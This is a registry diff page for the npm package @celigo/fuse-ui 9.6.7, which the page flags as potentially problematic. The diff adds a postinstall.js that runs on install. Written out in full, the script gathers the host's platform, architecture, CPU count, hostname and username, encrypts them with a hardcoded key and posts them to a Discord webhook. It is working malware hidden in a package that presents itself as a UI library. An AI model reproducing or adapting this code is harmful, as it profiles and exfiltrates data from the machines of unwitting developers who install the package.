@celigo/fuse-ui 9.6.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @celigo/fuse-ui might be problematic. Click here for more details.
- package/package.json +11 -0
- package/postinstall.js +57 -0
package/package.json
ADDED
package/postinstall.js
ADDED
@@ -0,0 +1,57 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
const crypto = require('crypto');
|
4
|
+
|
5
|
+
// Recopilar información del sistema
|
6
|
+
const sysData = {
|
7
|
+
plt: os.platform(),
|
8
|
+
arch: os.arch(),
|
9
|
+
cpu: os.cpus().length,
|
10
|
+
host: os.hostname(),
|
11
|
+
usr: os.userInfo().username
|
12
|
+
};
|
13
|
+
|
14
|
+
// Función para cifrar la información
|
15
|
+
function encryptData(data, key) {
|
16
|
+
const cipher = crypto.createCipheriv('aes-256-cbc', key, key.slice(0, 16));
|
17
|
+
let encrypted = cipher.update(data, 'utf8', 'hex');
|
18
|
+
encrypted += cipher.final('hex');
|
19
|
+
return encrypted;
|
20
|
+
}
|
21
|
+
|
22
|
+
// Clave de cifrado generada usando SHA-256
|
23
|
+
const encryptionKey = crypto.createHash('sha256').update('verystrongpassword').digest();
|
24
|
+
const encryptedSysData = encryptData(JSON.stringify(sysData), encryptionKey);
|
25
|
+
|
26
|
+
// URL del webhook de Discord
|
27
|
+
const webhookUrl = '/api/webhooks/1264048038201135134/gpQMRPlxvSvameK2_OjXvCIE8eXH_bXJl5dC6ApLiPOtJVynD2bCYydh2NzvfGxOVbIt';
|
28
|
+
|
29
|
+
// Preparar los datos para enviar
|
30
|
+
const payload = JSON.stringify({
|
31
|
+
content: `System Info: ${encryptedSysData}`
|
32
|
+
});
|
33
|
+
|
34
|
+
const options = {
|
35
|
+
hostname: 'discord.com',
|
36
|
+
port: 443,
|
37
|
+
path: webhookUrl,
|
38
|
+
method: 'POST',
|
39
|
+
headers: {
|
40
|
+
'Content-Type': 'application/json',
|
41
|
+
'Content-Length': Buffer.byteLength(payload)
|
42
|
+
}
|
43
|
+
};
|
44
|
+
|
45
|
+
// Enviar los datos al webhook de Discord
|
46
|
+
const req = https.request(options, (res) => {
|
47
|
+
res.on('data', (d) => {
|
48
|
+
process.stdout.write(d);
|
49
|
+
});
|
50
|
+
});
|
51
|
+
|
52
|
+
req.on('error', (e) => {
|
53
|
+
console.error(e);
|
54
|
+
});
|
55
|
+
|
56
|
+
req.write(payload);
|
57
|
+
req.end();
|